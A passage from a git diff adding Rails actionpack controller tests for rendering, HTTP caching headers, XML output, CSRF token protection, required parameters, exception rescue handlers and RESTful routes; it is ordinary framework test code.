+ end
+
+ def test_partial_with_nested_object
+ get :partial_with_nested_object
+ assert_equal "first", @response.body
+ end
+
+ def test_partial_with_nested_object_shorthand
+ get :partial_with_nested_object_shorthand
+ assert_equal "first", @response.body
+ end
+
+ def test_hash_partial_collection
+ get :partial_hash_collection
+ assert_equal "Pratik\nkitarP\nAmy\nymA\n", @response.body
+ end
+
+ def test_partial_hash_collection_with_locals
+ get :partial_hash_collection_with_locals
+ assert_equal "Hola: PratikHola: Amy", @response.body
+ end
+
+ def test_render_missing_partial_template
+ assert_raise(ActionView::MissingTemplate) do
+ get :missing_partial
+ end
+ end
+
+ def test_render_call_to_partial_with_layout
+ get :render_call_to_partial_with_layout
+ assert_equal "Before (David)\nInside from partial (David)\nAfter", @response.body
+ end
+
+ def test_render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+ get :render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+ assert_equal "Before (Anthony)\nInside from partial (Anthony)\nAfter\nBefore (David)\nInside from partial (David)\nAfter\nBefore (Ramm)\nInside from partial (Ramm)\nAfter", @response.body
+ end
+end
+
+class ExpiresInRenderTest < ActionController::TestCase
+ tests TestController
+
+ def setup
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_expires_in_header
+ get :conditional_hello_with_expires_in
+ assert_equal "max-age=60, private", @response.headers["Cache-Control"]
+ end
+
+ def test_expires_in_header_with_public
+ get :conditional_hello_with_expires_in_with_public
+ assert_equal "max-age=60, public", @response.headers["Cache-Control"]
+ end
+
+ def test_expires_in_header_with_must_revalidate
+ get :conditional_hello_with_expires_in_with_must_revalidate
+ assert_equal "max-age=60, private, must-revalidate", @response.headers["Cache-Control"]
+ end
+
+ def test_expires_in_header_with_public_and_must_revalidate
+ get :conditional_hello_with_expires_in_with_public_and_must_revalidate
+ assert_equal "max-age=60, public, must-revalidate", @response.headers["Cache-Control"]
+ end
+
+ def test_expires_in_header_with_additional_headers
+ get :conditional_hello_with_expires_in_with_public_with_more_keys
+ assert_equal "max-age=60, public, s-maxage=18000", @response.headers["Cache-Control"]
+ end
+
+ def test_expires_in_old_syntax
+ get :conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
+ assert_equal "max-age=60, public, s-maxage=18000", @response.headers["Cache-Control"]
+ end
+
+ def test_expires_now
+ get :conditional_hello_with_expires_now
+ assert_equal "no-cache", @response.headers["Cache-Control"]
+ end
+
+ def test_expires_now_with_cache_control_headers
+ get :conditional_hello_with_cache_control_headers
+ assert_match(/no-cache/, @response.headers["Cache-Control"])
+ assert_match(/no-transform/, @response.headers["Cache-Control"])
+ end
+
+ def test_date_header_when_expires_in
+ time = Time.mktime(2011,10,30)
+ Time.stubs(:now).returns(time)
+ get :conditional_hello_with_expires_in
+ assert_equal Time.now.httpdate, @response.headers["Date"]
+ end
+end
+
+class LastModifiedRenderTest < ActionController::TestCase
+ tests TestController
+
+ def setup
+ super
+ @request.host = "www.nextangle.com"
+ @last_modified = Time.now.utc.beginning_of_day.httpdate
+ end
+
+ def test_responds_with_last_modified
+ get :conditional_hello
+ assert_equal @last_modified, @response.headers['Last-Modified']
+ end
+
+ def test_request_not_modified
+ @request.if_modified_since = @last_modified
+ get :conditional_hello
+ assert_equal 304, @response.status.to_i
+ assert @response.body.blank?
+ assert_equal @last_modified, @response.headers['Last-Modified']
+ end
+
+ def test_request_not_modified_but_etag_differs
+ @request.if_modified_since = @last_modified
+ @request.if_none_match = "234"
+ get :conditional_hello
+ assert_response :success
+ end
+
+ def test_request_modified
+ @request.if_modified_since = 'Thu, 16 Jul 2008 00:00:00 GMT'
+ get :conditional_hello
+ assert_equal 200, @response.status.to_i
+ assert @response.body.present?
+ assert_equal @last_modified, @response.headers['Last-Modified']
+ end
+
+
+ def test_responds_with_last_modified_with_record
+ get :conditional_hello_with_record
+ assert_equal @last_modified, @response.headers['Last-Modified']
+ end
+
+ def test_request_not_modified_with_record
+ @request.if_modified_since = @last_modified
+ get :conditional_hello_with_record
+ assert_equal 304, @response.status.to_i
+ assert @response.body.blank?
+ assert_equal @last_modified, @response.headers['Last-Modified']
+ end
+
+ def test_request_not_modified_but_etag_differs_with_record
+ @request.if_modified_since = @last_modified
+ @request.if_none_match = "234"
+ get :conditional_hello_with_record
+ assert_response :success
+ end
+
+ def test_request_modified_with_record
+ @request.if_modified_since = 'Thu, 16 Jul 2008 00:00:00 GMT'
+ get :conditional_hello_with_record
+ assert_equal 200, @response.status.to_i
+ assert @response.body.present?
+ assert_equal @last_modified, @response.headers['Last-Modified']
+ end
+
+
+ def test_request_with_bang_gets_last_modified
+ get :conditional_hello_with_bangs
+ assert_equal @last_modified, @response.headers['Last-Modified']
+ assert_response :success
+ end
+
+ def test_request_with_bang_obeys_last_modified
+ @request.if_modified_since = @last_modified
+ get :conditional_hello_with_bangs
+ assert_response :not_modified
+ end
+
+ def test_last_modified_works_with_less_than_too
+ @request.if_modified_since = 5.years.ago.httpdate
+ get :conditional_hello_with_bangs
+ assert_response :success
+ end
+end
+
+class EtagRenderTest < ActionController::TestCase
+ tests TestControllerWithExtraEtags
+
+ def setup
+ super
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_multiple_etags
+ @request.if_none_match = %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key([ "123", 'ab', :cde, [:f] ]))}")
+ get :fresh
+ assert_response :not_modified
+
+ @request.if_none_match = %("nomatch")
+ get :fresh
+ assert_response :success
+ end
+end
+
+
+class MetalRenderTest < ActionController::TestCase
+ tests MetalTestController
+
+ def test_access_to_logger_in_view
+ get :accessing_logger_in_template
+ assert_equal "NilClass", @response.body
+ end
+end
diff --git a/actionpack/test/controller/render_xml_test.rb b/actionpack/test/controller/render_xml_test.rb
new file mode 100644
index 0000000..4f280c4
--- /dev/null
+++ b/actionpack/test/controller/render_xml_test.rb
@@ -0,0 +1,97 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+require 'pathname'
+
+class RenderXmlTest < ActionController::TestCase
+ class XmlRenderable
+ def to_xml(options)
+ options[:root] ||= "i-am-xml"
+ "<#{options[:root]}/>"
+ end
+ end
+
+ class TestController < ActionController::Base
+ protect_from_forgery
+
+ def self.controller_path
+ 'test'
+ end
+
+ def render_with_location
+ render :xml => "<hello/>", :location => "http://example.com", :status => 201
+ end
+
+ def render_with_object_location
+ customer = Customer.new("Some guy", 1)
+ render :xml => "<customer/>", :location => customer, :status => :created
+ end
+
+ def render_with_to_xml
+ render :xml => XmlRenderable.new
+ end
+
+ def formatted_xml_erb
+ end
+
+ def render_xml_with_custom_content_type
+ render :xml => "<blah/>", :content_type => "application/atomsvc+xml"
+ end
+
+ def render_xml_with_custom_options
+ render :xml => XmlRenderable.new, :root => "i-am-THE-xml"
+ end
+ end
+
+ tests TestController
+
+ def setup
+ # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+ # a more accurate simulation of what happens in "real life".
+ super
+ @controller.logger = ActiveSupport::Logger.new(nil)
+
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_rendering_with_location_should_set_header
+ get :render_with_location
+ assert_equal "http://example.com", @response.headers["Location"]
+ end
+
+ def test_rendering_xml_should_call_to_xml_if_possible
+ get :render_with_to_xml
+ assert_equal "<i-am-xml/>", @response.body
+ end
+
+ def test_rendering_xml_should_call_to_xml_with_extra_options
+ get :render_xml_with_custom_options
+ assert_equal "<i-am-THE-xml/>", @response.body
+ end
+
+ def test_rendering_with_object_location_should_set_header_with_url_for
+ with_routing do |set|
+ set.draw do
+ resources :customers
+ get ':controller/:action'
+ end
+
+ get :render_with_object_location
+ assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
+ end
+ end
+
+ def test_should_render_formatted_xml_erb_template
+ get :formatted_xml_erb, :format => :xml
+ assert_equal '<test>passed formatted xml erb</test>', @response.body
+ end
+
+ def test_should_render_xml_but_keep_custom_content_type
+ get :render_xml_with_custom_content_type
+ assert_equal "application/atomsvc+xml", @response.content_type
+ end
+
+ def test_should_use_implicit_content_type
+ get :implicit_content_type, :format => 'atom'
+ assert_equal Mime::ATOM, @response.content_type
+ end
+end
diff --git a/actionpack/test/controller/request/test_request_test.rb b/actionpack/test/controller/request/test_request_test.rb
new file mode 100644
index 0000000..e624f11
--- /dev/null
+++ b/actionpack/test/controller/request/test_request_test.rb
@@ -0,0 +1,35 @@
+require 'abstract_unit'
+require 'stringio'
+
+class ActionController::TestRequestTest < ActiveSupport::TestCase
+
+ def setup
+ @request = ActionController::TestRequest.new
+ end
+
+ def test_test_request_has_session_options_initialized
+ assert @request.session_options
+ end
+
+ ActionDispatch::Session::AbstractStore::DEFAULT_OPTIONS.each_key do |option|
+ test "rack default session options #{option} exists in session options and is default" do
+ assert_equal(ActionDispatch::Session::AbstractStore::DEFAULT_OPTIONS[option],
+ @request.session_options[option],
+ "Missing rack session default option #{option} in request.session_options")
+ end
+
+ test "rack default session options #{option} exists in session options" do
+ assert(@request.session_options.has_key?(option),
+ "Missing rack session option #{option} in request.session_options")
+ end
+ end
+
+ def test_session_id_exists_by_default
+ assert_not_nil(@request.session_options[:id])
+ end
+
+ def test_session_id_different_on_each_call
+ assert_not_equal(@request.session_options[:id], ActionController::TestRequest.new.session_options[:id])
+ end
+
+end
diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb
new file mode 100644
index 0000000..c272e78
--- /dev/null
+++ b/actionpack/test/controller/request_forgery_protection_test.rb
@@ -0,0 +1,381 @@
+require 'abstract_unit'
+require 'digest/sha1'
+require "active_support/log_subscriber/test_helper"
+
+# common controller actions
+module RequestForgeryProtectionActions
+ def index
+ render :inline => "<%= form_tag('/') {} %>"
+ end
+
+ def show_button
+ render :inline => "<%= button_to('New', '/') %>"
+ end
+
+ def external_form
+ render :inline => "<%= form_tag('http://farfar.away/form', :authenticity_token => 'external_token') {} %>"
+ end
+
+ def external_form_without_protection
+ render :inline => "<%= form_tag('http://farfar.away/form', :authenticity_token => false) {} %>"
+ end
+
+ def unsafe
+ render :text => 'pwn'
+ end
+
+ def meta
+ render :inline => "<%= csrf_meta_tags %>"
+ end
+
+ def external_form_for
+ render :inline => "<%= form_for(:some_resource, :authenticity_token => 'external_token') {} %>"
+ end
+
+ def form_for_without_protection
+ render :inline => "<%= form_for(:some_resource, :authenticity_token => false ) {} %>"
+ end
+
+ def form_for_remote
+ render :inline => "<%= form_for(:some_resource, :remote => true ) {} %>"
+ end
+
+ def form_for_remote_with_token
+ render :inline => "<%= form_for(:some_resource, :remote => true, :authenticity_token => true ) {} %>"
+ end
+
+ def form_for_with_token
+ render :inline => "<%= form_for(:some_resource, :authenticity_token => true ) {} %>"
+ end
+
+ def form_for_remote_with_external_token
+ render :inline => "<%= form_for(:some_resource, :remote => true, :authenticity_token => 'external_token') {} %>"
+ end
+
+ def rescue_action(e) raise e end
+end
+
+# sample controllers
+class RequestForgeryProtectionControllerUsingResetSession < ActionController::Base
+ include RequestForgeryProtectionActions
+ protect_from_forgery :only => %w(index meta), :with => :reset_session
+end
+
+class RequestForgeryProtectionControllerUsingException < ActionController::Base
+ include RequestForgeryProtectionActions
+ protect_from_forgery :only => %w(index meta), :with => :exception
+end
+
+class RequestForgeryProtectionControllerUsingNullSession < ActionController::Base
+ protect_from_forgery :with => :null_session
+
+ def signed
+ cookies.signed[:foo] = 'bar'
+ render :nothing => true
+ end
+
+ def encrypted
+ cookies.encrypted[:foo] = 'bar'
+ render :nothing => true
+ end
+end
+
+class FreeCookieController < RequestForgeryProtectionControllerUsingResetSession
+ self.allow_forgery_protection = false
+
+ def index
+ render :inline => "<%= form_tag('/') {} %>"
+ end
+
+ def show_button
+ render :inline => "<%= button_to('New', '/') %>"
+ end
+end
+
+class CustomAuthenticityParamController < RequestForgeryProtectionControllerUsingResetSession
+ def form_authenticity_param
+ 'foobar'
+ end
+end
+
+# common test methods
+module RequestForgeryProtectionTests
+ def setup
+ @token = "cf50faa3fe97702ca1ae"
+
+ SecureRandom.stubs(:base64).returns(@token)
+ ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
+ end
+
+ def teardown
+ ActionController::Base.request_forgery_protection_token = nil
+ end
+
+ def test_should_render_form_with_token_tag
+ assert_not_blocked do
+ get :index
+ end
+ assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+ end
+
+ def test_should_render_button_to_with_token_tag
+ assert_not_blocked do
+ get :show_button
+ end
+ assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+ end
+
+ def test_should_render_form_without_token_tag_if_remote
+ assert_not_blocked do
+ get :form_for_remote
+ end
+ assert_no_match(/authenticity_token/, response.body)
+ end
+
+ def test_should_render_form_with_token_tag_if_remote_and_embedding_token_is_on
+ original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms
+ begin
+ ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = true
+ assert_not_blocked do
+ get :form_for_remote
+ end
+ assert_match(/authenticity_token/, response.body)
+ ensure
+ ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
+ end
+ end
+
+ def test_should_render_form_with_token_tag_if_remote_and_external_authenticity_token_requested_and_embedding_is_on
+ original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms
+ begin
+ ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = true
+ assert_not_blocked do
+ get :form_for_remote_with_external_token
+ end
+ assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
+ ensure
+ ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
+ end
+ end
+
+ def test_should_render_form_with_token_tag_if_remote_and_external_authenticity_token_requested
+ assert_not_blocked do
+ get :form_for_remote_with_external_token
+ end
+ assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
+ end
+
+ def test_should_render_form_with_token_tag_if_remote_and_authenticity_token_requested
+ assert_not_blocked do
+ get :form_for_remote_with_token
+ end
+ assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+ end
+
+ def test_should_render_form_with_token_tag_with_authenticity_token_requested
+ assert_not_blocked do
+ get :form_for_with_token
+ end
+ assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+ end
+
+ def test_should_allow_get
+ assert_not_blocked { get :index }
+ end
+
+ def test_should_allow_head
+ assert_not_blocked { head :index }
+ end
+
+ def test_should_allow_post_without_token_on_unsafe_action
+ assert_not_blocked { post :unsafe }
+ end
+
+ def test_should_not_allow_post_without_token
+ assert_blocked { post :index }
+ end
+
+ def test_should_not_allow_post_without_token_irrespective_of_format
+ assert_blocked { post :index, :format=>'xml' }
+ end
+
+ def test_should_not_allow_patch_without_token
+ assert_blocked { patch :index }
+ end
+
+ def test_should_not_allow_put_without_token
+ assert_blocked { put :index }
+ end
+
+ def test_should_not_allow_delete_without_token
+ assert_blocked { delete :index }
+ end
+
+ def test_should_not_allow_xhr_post_without_token
+ assert_blocked { xhr :post, :index }
+ end
+
+ def test_should_allow_post_with_token
+ assert_not_blocked { post :index, :custom_authenticity_token => @token }
+ end
+
+ def test_should_allow_patch_with_token
+ assert_not_blocked { patch :index, :custom_authenticity_token => @token }
+ end
+
+ def test_should_allow_put_with_token
+ assert_not_blocked { put :index, :custom_authenticity_token => @token }
+ end
+
+ def test_should_allow_delete_with_token
+ assert_not_blocked { delete :index, :custom_authenticity_token => @token }
+ end
+
+ def test_should_allow_post_with_token_in_header
+ @request.env['HTTP_X_CSRF_TOKEN'] = @token
+ assert_not_blocked { post :index }
+ end
+
+ def test_should_allow_delete_with_token_in_header
+ @request.env['HTTP_X_CSRF_TOKEN'] = @token
+ assert_not_blocked { delete :index }
+ end
+
+ def test_should_allow_patch_with_token_in_header
+ @request.env['HTTP_X_CSRF_TOKEN'] = @token
+ assert_not_blocked { patch :index }
+ end
+
+ def test_should_allow_put_with_token_in_header
+ @request.env['HTTP_X_CSRF_TOKEN'] = @token
+ assert_not_blocked { put :index }
+ end
+
+ def test_should_warn_on_missing_csrf_token
+ old_logger = ActionController::Base.logger
+ logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+ ActionController::Base.logger = logger
+
+ begin
+ assert_blocked { post :index }
+
+ assert_equal 1, logger.logged(:warn).size
+ assert_match(/CSRF token authenticity/, logger.logged(:warn).last)
+ ensure
+ ActionController::Base.logger = old_logger
+ end
+ end
+
+ def assert_blocked
+ session[:something_like_user_id] = 1
+ yield
+ assert_nil session[:something_like_user_id], "session values are still present"
+ assert_response :success
+ end
+
+ def assert_not_blocked
+ assert_nothing_raised { yield }
+ assert_response :success
+ end
+end
+
+# OK let's get our test on
+
+class RequestForgeryProtectionControllerUsingResetSessionTest < ActionController::TestCase
+ include RequestForgeryProtectionTests
+
+ setup do
+ ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
+ end
+
+ teardown do
+ ActionController::Base.request_forgery_protection_token = nil
+ end
+
+ test 'should emit a csrf-param meta tag and a csrf-token meta tag' do
+ SecureRandom.stubs(:base64).returns(@token + '<=?')
+ get :meta
+ assert_select 'meta[name=?][content=?]', 'csrf-param', 'custom_authenticity_token'
+ assert_select 'meta[name=?][content=?]', 'csrf-token', 'cf50faa3fe97702ca1ae<=?'
+ end
+end
+
+class NullSessionDummyKeyGenerator
+ def generate_key(secret)
+ '03312270731a2ed0d11ed091c2338a06'
+ end
+end
+
+class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController::TestCase
+ def setup
+ @request.env[ActionDispatch::Cookies::GENERATOR_KEY] = NullSessionDummyKeyGenerator.new
+ end
+
+ test 'should allow to set signed cookies' do
+ post :signed
+ assert_response :ok
+ end
+
+ test 'should allow to set encrypted cookies' do
+ post :encrypted
+ assert_response :ok
+ end
+end
+
+class RequestForgeryProtectionControllerUsingExceptionTest < ActionController::TestCase
+ include RequestForgeryProtectionTests
+ def assert_blocked
+ assert_raises(ActionController::InvalidAuthenticityToken) do
+ yield
+ end
+ end
+end
+
+class FreeCookieControllerTest < ActionController::TestCase
+ def setup
+ @controller = FreeCookieController.new
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ @token = "cf50faa3fe97702ca1ae"
+
+ SecureRandom.stubs(:base64).returns(@token)
+ end
+
+ def test_should_not_render_form_with_token_tag
+ get :index
+ assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token, false
+ end
+
+ def test_should_not_render_button_to_with_token_tag
+ get :show_button
+ assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token, false
+ end
+
+ def test_should_allow_all_methods_without_token
+ [:post, :patch, :put, :delete].each do |method|
+ assert_nothing_raised { send(method, :index)}
+ end
+ end
+
+ test 'should not emit a csrf-token meta tag' do
+ get :meta
+ assert @response.body.blank?
+ end
+end
+
+class CustomAuthenticityParamControllerTest < ActionController::TestCase
+ def setup
+ ActionController::Base.request_forgery_protection_token = :custom_token_name
+ super
+ end
+
+ def teardown
+ ActionController::Base.request_forgery_protection_token = :authenticity_token
+ super
+ end
+
+ def test_should_allow_custom_token
+ post :index, :custom_token_name => 'foobar'
+ assert_response :ok
+ end
+end
diff --git a/actionpack/test/controller/required_params_test.rb b/actionpack/test/controller/required_params_test.rb
new file mode 100644
index 0000000..343d57c
--- /dev/null
+++ b/actionpack/test/controller/required_params_test.rb
@@ -0,0 +1,27 @@
+require 'abstract_unit'
+
+class BooksController < ActionController::Base
+ def create
+ params.require(:book).require(:name)
+ head :ok
+ end
+end
+
+class ActionControllerRequiredParamsTest < ActionController::TestCase
+ tests BooksController
+
+ test "missing required parameters will raise exception" do
+ assert_raise ActionController::ParameterMissing do
+ post :create, { magazine: { name: "Mjallo!" } }
+ end
+
+ assert_raise ActionController::ParameterMissing do
+ post :create, { book: { title: "Mjallo!" } }
+ end
+ end
+
+ test "required parameters that are present will not raise" do
+ post :create, { book: { name: "Mjallo!" } }
+ assert_response :ok
+ end
+end
diff --git a/actionpack/test/controller/rescue_test.rb b/actionpack/test/controller/rescue_test.rb
new file mode 100644
index 0000000..4898b0c
--- /dev/null
+++ b/actionpack/test/controller/rescue_test.rb
@@ -0,0 +1,348 @@
+require 'abstract_unit'
+
+class RescueController < ActionController::Base
+ class NotAuthorized < StandardError
+ end
+ class NotAuthorizedToRescueAsString < StandardError
+ end
+
+ class RecordInvalid < StandardError
+ end
+ class RecordInvalidToRescueAsString < StandardError
+ end
+
+ class NotAllowed < StandardError
+ end
+ class NotAllowedToRescueAsString < StandardError
+ end
+
+ class InvalidRequest < StandardError
+ end
+ class InvalidRequestToRescueAsString < StandardError
+ end
+
+ class BadGateway < StandardError
+ end
+ class BadGatewayToRescueAsString < StandardError
+ end
+
+ class ResourceUnavailable < StandardError
+ end
+ class ResourceUnavailableToRescueAsString < StandardError
+ end
+
+ # We use a fully-qualified name in some strings, and a relative constant
+ # name in some other to test correct handling of both cases.
+
+ rescue_from NotAuthorized, :with => :deny_access
+ rescue_from 'RescueController::NotAuthorizedToRescueAsString', :with => :deny_access
+
+ rescue_from RecordInvalid, :with => :show_errors
+ rescue_from 'RescueController::RecordInvalidToRescueAsString', :with => :show_errors
+
+ rescue_from NotAllowed, :with => proc { head :forbidden }
+ rescue_from 'RescueController::NotAllowedToRescueAsString', :with => proc { head :forbidden }
+
+ rescue_from InvalidRequest, :with => proc { |exception| render :text => exception.message }
+ rescue_from 'InvalidRequestToRescueAsString', :with => proc { |exception| render :text => exception.message }
+
+ rescue_from BadGateway do
+ head :status => 502
+ end
+ rescue_from 'BadGatewayToRescueAsString' do
+ head :status => 502
+ end
+
+ rescue_from ResourceUnavailable do |exception|
+ render :text => exception.message
+ end
+ rescue_from 'ResourceUnavailableToRescueAsString' do |exception|
+ render :text => exception.message
+ end
+
+ rescue_from ActionView::TemplateError do
+ render :text => 'action_view templater error'
+ end
+
+ rescue_from IOError do
+ render :text => 'io error'
+ end
+
+ before_action(only: :before_action_raises) { raise 'umm nice' }
+
+ def before_action_raises
+ end
+
+ def raises
+ render :text => 'already rendered'
+ raise "don't panic!"
+ end
+
+ def method_not_allowed
+ raise ActionController::MethodNotAllowed.new(:get, :head, :put)
+ end
+
+ def not_implemented
+ raise ActionController::NotImplemented.new(:get, :put)
+ end
+
+ def not_authorized
+ raise NotAuthorized
+ end
+ def not_authorized_raise_as_string
+ raise NotAuthorizedToRescueAsString
+ end
+
+ def not_allowed
+ raise NotAllowed
+ end
+ def not_allowed_raise_as_string
+ raise NotAllowedToRescueAsString
+ end
+
+ def invalid_request
+ raise InvalidRequest
+ end
+ def invalid_request_raise_as_string
+ raise InvalidRequestToRescueAsString
+ end
+
+ def record_invalid
+ raise RecordInvalid
+ end
+ def record_invalid_raise_as_string
+ raise RecordInvalidToRescueAsString
+ end
+
+ def bad_gateway
+ raise BadGateway
+ end
+ def bad_gateway_raise_as_string
+ raise BadGatewayToRescueAsString
+ end
+
+ def resource_unavailable
+ raise ResourceUnavailable
+ end
+ def resource_unavailable_raise_as_string
+ raise ResourceUnavailableToRescueAsString
+ end
+
+ def missing_template
+ end
+
+ def io_error_in_view
+ raise ActionView::TemplateError.new(nil, IOError.new('this is io error'))
+ end
+
+ def zero_division_error_in_view
+ raise ActionView::TemplateError.new(nil, ZeroDivisionError.new('this is zero division error'))
+ end
+
+ protected
+ def deny_access
+ head :forbidden
+ end
+
+ def show_errors(exception)
+ head :unprocessable_entity
+ end
+end
+
+class ExceptionInheritanceRescueController < ActionController::Base
+
+ class ParentException < StandardError
+ end
+
+ class ChildException < ParentException
+ end
+
+ class GrandchildException < ChildException
+ end
+
+ rescue_from ChildException, :with => lambda { head :ok }
+ rescue_from ParentException, :with => lambda { head :created }
+ rescue_from GrandchildException, :with => lambda { head :no_content }
+
+ def raise_parent_exception
+ raise ParentException
+ end
+
+ def raise_child_exception
+ raise ChildException
+ end
+
+ def raise_grandchild_exception
+ raise GrandchildException
+ end
+end
+
+class ExceptionInheritanceRescueControllerTest < ActionController::TestCase
+ def test_bottom_first
+ get :raise_grandchild_exception
+ assert_response :no_content
+ end
+
+ def test_inheritance_works
+ get :raise_child_exception
+ assert_response :created
+ end
+end
+
+class ControllerInheritanceRescueController < ExceptionInheritanceRescueController
+ class FirstExceptionInChildController < StandardError
+ end
+
+ class SecondExceptionInChildController < StandardError
+ end
+
+ rescue_from FirstExceptionInChildController, 'SecondExceptionInChildController', :with => lambda { head :gone }
+
+ def raise_first_exception_in_child_controller
+ raise FirstExceptionInChildController
+ end
+
+ def raise_second_exception_in_child_controller
+ raise SecondExceptionInChildController
+ end
+end
+
+class ControllerInheritanceRescueControllerTest < ActionController::TestCase
+ def test_first_exception_in_child_controller
+ get :raise_first_exception_in_child_controller
+ assert_response :gone
+ end
+
+ def test_second_exception_in_child_controller
+ get :raise_second_exception_in_child_controller
+ assert_response :gone
+ end
+
+ def test_exception_in_parent_controller
+ get :raise_parent_exception
+ assert_response :created
+ end
+end
+
+class RescueControllerTest < ActionController::TestCase
+
+ def test_io_error_in_view
+ get :io_error_in_view
+ assert_equal 'io error', @response.body
+ end
+
+ def test_zero_division_error_in_view
+ get :zero_division_error_in_view
+ assert_equal 'action_view templater error', @response.body
+ end
+
+ def test_rescue_handler
+ get :not_authorized
+ assert_response :forbidden
+ end
+ def test_rescue_handler_string
+ get :not_authorized_raise_as_string
+ assert_response :forbidden
+ end
+
+ def test_rescue_handler_with_argument
+ @controller.expects(:show_errors).once.with { |e| e.is_a?(Exception) }
+ get :record_invalid
+ end
+ def test_rescue_handler_with_argument_as_string
+ @controller.expects(:show_errors).once.with { |e| e.is_a?(Exception) }
+ get :record_invalid_raise_as_string
+ end
+
+ def test_proc_rescue_handler
+ get :not_allowed
+ assert_response :forbidden
+ end
+ def test_proc_rescue_handler_as_string
+ get :not_allowed_raise_as_string
+ assert_response :forbidden
+ end
+
+ def test_proc_rescue_handle_with_argument
+ get :invalid_request
+ assert_equal "RescueController::InvalidRequest", @response.body
+ end
+ def test_proc_rescue_handle_with_argument_as_string
+ get :invalid_request_raise_as_string
+ assert_equal "RescueController::InvalidRequestToRescueAsString", @response.body
+ end
+
+ def test_block_rescue_handler
+ get :bad_gateway
+ assert_response 502
+ end
+ def test_block_rescue_handler_as_string
+ get :bad_gateway_raise_as_string
+ assert_response 502
+ end
+
+ def test_block_rescue_handler_with_argument
+ get :resource_unavailable
+ assert_equal "RescueController::ResourceUnavailable", @response.body
+ end
+
+ def test_block_rescue_handler_with_argument_as_string
+ get :resource_unavailable_raise_as_string
+ assert_equal "RescueController::ResourceUnavailableToRescueAsString", @response.body
+ end
+end
+
+class RescueTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ class RecordInvalid < StandardError
+ def message
+ 'invalid'
+ end
+ end
+ rescue_from RecordInvalid, :with => :show_errors
+
+ def foo
+ render :text => "foo"
+ end
+
+ def invalid
+ raise RecordInvalid
+ end
+
+ def b00m
+ raise 'b00m'
+ end
+
+ protected
+ def show_errors(exception)
+ render :text => exception.message
+ end
+ end
+
+ test 'normal request' do
+ with_test_routing do
+ get '/foo'
+ assert_equal 'foo', response.body
+ end
+ end
+
+ test 'rescue exceptions inside controller' do
+ with_test_routing do
+ get '/invalid'
+ assert_equal 'invalid', response.body
+ end
+ end
+
+ private
+
+ def with_test_routing
+ with_routing do |set|
+ set.draw do
+ get 'foo', :to => ::RescueTest::TestController.action(:foo)
+ get 'invalid', :to => ::RescueTest::TestController.action(:invalid)
+ get 'b00m', :to => ::RescueTest::TestController.action(:b00m)
+ end
+ yield
+ end
+ end
+end
diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb
new file mode 100644
index 0000000..9aea7e8
--- /dev/null
+++ b/actionpack/test/controller/resources_test.rb
@@ -0,0 +1,1331 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object/try'
+require 'active_support/core_ext/object/with_options'
+require 'active_support/core_ext/array/extract_options'
+
+class ResourcesTest < ActionController::TestCase
+ def test_default_restful_routes
+ with_restful_routing :messages do
+ assert_simply_restful_for :messages
+ end
+ end
+
+ def test_override_paths_for_member_and_collection_methods
+ collection_methods = { :rss => :get, :reorder => :post, :csv => :post }
+ member_methods = { :rss => :get, :atom => :get, :upload => :post, :fix => :post }
+ path_names = {:new => 'nuevo', :rss => 'canal', :fix => 'corrigir' }
+
+ with_restful_routing :messages,
+ :collection => collection_methods,
+ :member => member_methods,
+ :path_names => path_names do
+
+ assert_restful_routes_for :messages,
+ :collection => collection_methods,
+ :member => member_methods,
+ :path_names => path_names do |options|
+ member_methods.each do |action, method|
+ assert_recognizes(options.merge(:action => action.to_s, :id => '1'),
+ :path => "/messages/1/#{path_names[action] || action}",
+ :method => method)
+ end
+
+ collection_methods.each do |action, method|
+ assert_recognizes(options.merge(:action => action.to_s),
+ :path => "/messages/#{path_names[action] || action}",
+ :method => method)
+ end
+ end
+
+ assert_restful_named_routes_for :messages,
+ :collection => collection_methods,
+ :member => member_methods,
+ :path_names => path_names do |options|
+
+ collection_methods.keys.each do |action|
+ assert_named_route "/messages/#{path_names[action] || action}", "#{action}_messages_path", :action => action
+ end
+
+ member_methods.keys.each do |action|
+ assert_named_route "/messages/1/#{path_names[action] || action}", "#{action}_message_path", :action => action, :id => "1"
+ end
+
+ end
+ end
+ end
+
+ def test_multiple_default_restful_routes
+ with_restful_routing :messages, :comments do
+ assert_simply_restful_for :messages
+ assert_simply_restful_for :comments
+ end
+ end
+
+ def test_multiple_resources_with_options
+ expected_options = {:controller => 'threads', :action => 'index'}
+
+ with_restful_routing :messages, :comments, expected_options.slice(:controller) do
+ assert_recognizes(expected_options, :path => 'comments')
+ assert_recognizes(expected_options, :path => 'messages')
+ end
+ end
+
+ def test_with_custom_conditions
